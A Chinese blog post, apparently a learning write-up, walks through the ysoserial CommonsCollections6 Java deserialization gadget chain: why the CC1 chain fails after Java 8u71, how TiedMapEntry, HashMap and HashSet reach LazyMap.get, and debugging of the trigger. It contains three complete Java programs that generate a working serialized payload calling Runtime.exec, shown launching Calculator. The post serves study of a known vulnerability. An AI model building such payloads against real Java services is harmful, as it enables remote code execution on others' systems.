争取明年有一个上千star的项目
0x00 前言
在上一篇通过 P牛和 ysoserial 项目分析了CommonsCollections1这条利用链和其中的TransformedMap、LazyMap原理。
但是在 Java 8u71以后,这个利用链不能再利用了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑变化了。
CommonsCollections6 解决了高版本Java的利用问题,一起来学习下吧。
本文CommonsCollections1利用链的限制条件:
JDK版本:暂无限制、 CommonsCollections 3.1 - 3.2.1
实验环境:
JDK 1.8.0_261 JDK 1.7.0_80、Commons-Collections 3.2.1
0x01 AnnotationInvocationHandler#readObject
学习 CommonsCollections6 之前,先来看看 AnnotationInvocationHandler#readObject
具体改变了什么?
在 Java 8u71 之前,当 Object var6 = this.memberValues.get(var4);
var4 的值为entrySet
时,这时 this.memberValues
是一个LazyMap
对象,里面的值也就是在上一节我们构造好的transformers的数组
只有这时才会继续执行LazyMap#get
方法,进而触发transform
方法,执行命令。
而在 Java 8u71 之后(本文以JDK 1.8.0_261为例),当 Object var6 = this.memberValues.get(var4);
var4 的值为entrySet
时,这时 this.memberValues
却是一个LinkedHashMap
对象,根本不是我们构造的 LazyMap
主要就是因为在Java 8u71之前的sun.reflect.annotation.AnnotationInvocationHandler#readObject
中,首先调用默认的反序列化方法defaultReadObject
获取Map对象;
而 Java 8u71之后,修改了逻辑,不再直接使用反序列化得到Map对象,而是新建了一个LinkedHashMap
对象,并将原来的键值添加进去,后续对Map的操作都是基于这个新的LinkedHashMap
对象。
LinkedHashMap
无法获得entrySet
的内容,所以当 当 Object var6 = this.memberValues.get(var4);
var4 的值为entrySet
时,会报下面这个错误,无法完成后续操作。
java.lang.annotation.Target missing element entrySet
0x02 利用链
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
可以看到后半段从LazyMap.get()
到结束都和CC1一样,这里就不分析了,具体可以看上篇文章Java ysoserial学习之CommonsCollections1(二).md。从这里可以看到解决Java高版本利用问题,实际上就是在找是否还有其他调用 LazyMap#get() 的地方。
AnnotationInvocationHandler
在前面起到的作用是来触发LazyMap#get
函数,所以我们接下来就是要重新找一个可以触发该函数的对象。这个对象满足
-
类可序列化,类属性有个可控的Map对象或Object -
该类的类函数上有调用这个Map.get的地方
2.1 TiedMapEntry
在 ysoserial 项目中的 CC6链 是找了TiedMapEntry类来代替AnnotationInvocationHandler的作用。
直接进入 org.apache.commons.collections.keyvalue.TiedMapEntry
文件中, TiedMapEntry
实现了Serializable
接口,可以进行序列化操作,很好,构造方法接受一个Map,可以被我们控制,那么就可以将LazyMap
对象放入,
在TiedMapEntry#getValue
方法中调用了map.get
方法,可以执行LazyMap.get
,进而执行transform
方法,执行任意方法,完美。
测试一下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections6 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1), // 隐藏错误信息
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//使用 LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
// 上面还是使用CC1构造的,不变, 这里创建 TiedMapEntry 测试一下
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy");
tiedMapEntry.getValue();
}
}
2.2 HashMap
下面就是找一个能自动调用 TiedMapEntry#getValue
的地方了。
然后继续向上看利用链, org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
ysoserial 这里通过TiedMapEntry.hashCode()
方法来调用getValue
方法(然后我们也不难发现TiedMapEntry#toString
和TiedMapEntry#equals
方法也调用了getValue()
方法,但它不是CC6的猪角,这又是两条链CC5、CC7的事了)
看到 hashCode,记忆好的应该还记得在Java ysoserial学习之URLDNS(一)中,它可是猪角,回顾一下URLDNS触发流程
将URL对象作为key放入hashMap中,将其序列化发送给目标机器 如果目标机器存在反序列化漏洞,那么会执行 HashMap.readObject()
将数据反序列化在反序列化期间,为了还原hashmap的内容,会调用 hash()
方法,而hash()
函数会调用传入参数的hashCode()
方法当URL 对象的 hashCode
属性值为-1
时会调用handler.hashCode()
方法,而这个方法会进行一次DNS查询。
重点看第三点,非常好,现在我们大概是找到了自动触发TiedMapEntry#getValue
的地方了,Code一下,新建一个hashMap
对象将tiedMapEntry
作为key
传入hashMap
然后就会发现,确实弹出了一个计算器,我以为到这里就结束了,结果是我在想屁吃,O(∩_∩)O哈哈~
这里弹出的计算器真的是反序列化时执行的吗?只会弹一个吗?
肯定不是啊,hashMap.put(tiedMapEntry, "yhy"); put是就会弹一个啊,按理说反序列化时也会执行命令再弹出一个计算机,总共应该两个,这里只弹出一个,在 hashMap.put时下断点,然后在HashMap#readObject
方法中的putVal(hash(key), key, value, false, false);
也下一个断点,LazyMap#get
方法也下一个,之后开启Debug模式
点击绿色箭头直接从hashMap.put
跳转到LazyMap#get
,然后单步调试,第一次确实执行了factory.transform
触发我们自定义的方法,弹出了计算器,注意这里的map是空的
接着点击绿色箭头从ois.readObject();
跳转到LazyMap#get
,之后单步调试就会发现,这一次没有执行factory.transform(key)
,map.containsKey(key)
不再为false
了,这一次 map 中有了一个key,不在为空了,
里面的key正是我们放进去的TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy");
,这里说明当第一次利用hashMap.put(tiedMapEntry, "yhy");
时调用到了HashMap#hash(key)
注:这里的yhy并不是key,而是value,改这个值并不会影响if的判断,第一次new TiedMapEntry(outerMap,"yhy")的才是key
这里对后续反序列化时产生了影响,导致 map.containsKey(key) == true,不进入if判断中,无法执行
transform
方法执行任意方法。
解决办法是把map中的key去除,这一次确实执行了两次,可以debug验证一下,第二次确实是在反序列化阶段执行的
细心的朋友可能发现了,这里和开头写的利用链不一样,怎么就结束了,明明还有一步 java.util.HashSet.readObject()
没有用到。
其实这条利用链是和P牛在代码审计知识星球-Java安全漫谈系列中简化后的CC6链是一样的,我是在看到HashCode时联想到了URLDNS那条链中的相关知识,然后又参考P牛的文章才把这条链搞懂。^_^
在P牛的代码中 https://github.com/phith0n/JavaThings/blob/master/general/src/main/java/com/govuln/deserialization/CommonsCollections6.java 有一点和上述不一样
P牛多定义了Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
,然后
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
加入的是多定义的fakeTransformers
数组,精心构造的要执行命令的数组在remove函数前后通过反射加入了transformerChain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
这样的好处是
为了避免本地调试时触发命令执行,我构造LazyMap的时候先用了一个人畜无害的 fakeTransformers 对象,等最后要生成Payload的时候,再把真正的 transformers 替换进去。
完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author yhy
* @date 2021/6/27 11:41
* @github https://github.com/yhy0
*/
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject() 这里不同
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
public class CommonCollections6 {
public static void main(String[] args) throws Exception {
// 人畜无害的Transformer数组
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1), // 隐藏错误信息
};
//将 fakeTransformers 数组存入 ChainedTransformer 这个继承类
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
//使用 LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
// 上面还是使用CC1构造的,不变, 这里创建 TiedMapEntry 测试一下
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy");
// tiedMapEntry.hashCode();
// // HashMap 自动触发
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "yhy");
// put 后再把key去除,防止影响后续执行
outerMap.remove("yhy");
// 反射加入加入payload ,这样在put时就不会执行
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
// 反序列化读取 out.bin 文件
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
虽然简化后的也能达到效果,为了学习,补充知识点,我们还是再来看看省略掉的java.util.HashSet.readObject()
2.3 HashSet
在HashSet#readObject
中,将序列化数据反序列化后作为key调用map.put
中,
这里的 map 实际上就是 HashMap ,之后的过程也和之前的一样,put --> hash --> hashCode
下面就是将我们构造好的数据放入HashSet中,让其在反序列化是自动执行。这里(不只是这里,所有反序列化的地方)其实还要看一下HashSet中的序列化过程(writeObject)是否可控,这里我们只要能控制map的key,那么就能控制序列化数据 s
而 map ,我们可以在HashSet中看到并没有一个直接的方法可以直接赋值修改的,这就又要用到反射相关的知识了,
首先获取HashSet中map的值
// 指定初始容量为1
HashSet hashSet = new HashSet(1);
hashSet.add("yhy");
// 反射获取HashSet中map的值
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
// 取消访问限制检查
map.setAccessible(true);
// 获取HashSet中map的值
HashMap hashSetMap = (HashMap) map.get(hashSet);
然后修改 hashSetMap 中的 key 值为 hashset
// 反射获取 HashMap 中 table 的值
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
// 取消访问限制检查
table.setAccessible(true);
// 获取 HashMap 中 table 的值
Object[] hashMapTable = (Object[]) table.get(hashSetMap);
Object node = hashMapTable[0];
if(node == null) {
node = hashMapTable[1];
}
// 将key 设为 tiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node, tiedMapEntry);
在这里利用反射获取了 hashSetMap 中的 table 属性,table 其实就是hashmap的存储底层,将 <Key,Value> 封装在了 Node 对象中,在获取到了 table 中的 key 之后,利用反射修改其为tiedMapEntry
合并执行
完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* @author yhy
* @date 2021/6/27 20:47
* @github https://github.com/yhy0
* ysoserial
*/
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
public class CC6_Y {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1), // 隐藏错误信息
};
//将transformers数组存入 ChainedTransformer 这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//使用 LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
// 上面还是使用CC1构造的,不变, 这里创建 TiedMapEntry 测试一下
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy");
// tiedMapEntry.hashCode();
// HashSet
// 指定初始容量为1
HashSet hashSet = new HashSet(1);
hashSet.add("yhy");
// 反射获取HashSet中map的值
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
// 取消访问限制检查
map.setAccessible(true);
// 获取HashSet中map的值
HashMap hashSetMap = (HashMap) map.get(hashSet);
// 反射获取 HashMap 中 table 的值
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
// 取消访问限制检查
table.setAccessible(true);
// 获取 HashMap 中 table 的值
Object[] hashMapTable = (Object[]) table.get(hashSetMap);
Object node = hashMapTable[0];
if(node == null) {
node = hashMapTable[1];
}
// 将 key 设为 tiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node, tiedMapEntry);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outY.bin"));
oos.writeObject(hashSet);
// 反序列化读取 out.bin 文件
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outY.bin"));
ois.readObject();
}
}
0x03 总结
其实上周是打算写CC2链的,但是上周有个项目要做,就没心情去学、去总结,有两个原因:
-
确实有点忙,有点累 -
CC2链要学习新知识,有点复杂,搞得没心情学,看不下去,搞得我有点懈怠了,想休息
所以上周也就没更新,这周大概恢复好了,看文章时发现CC6比较好搞点,知识大都是学过的,串联起来就好了,这就有信心接着写了。
接下来的其他CC链,并不会按照顺序来,学到哪,就写到哪,下周应该会写CC5或者CC7,毕竟和这两篇有关联,学起来不会太吃力。
还是P牛说的不错,独立思考很重要。
学习的过程是一个思考的过程,不是追求刷题,追求刷完了ysoserial的所有Gadget的代码。我觉得这样效率是不高的。通常来说刷题获得的记忆,在一段时间不接触后就会慢慢忘掉,但自然学习思考获得的结果,是不容易失去的。
0x04 参考
天下大木头师傅的 https://www.yuque.com/tianxiadamutou/zcfd4v/ac9529#55fcdbc0
P牛知识星球-java安全漫谈
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
来都来了,不关注一波?
本文始发于微信公众号(谁不想当剑仙):Java ysoserial学习之CommonsCollections6(三)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论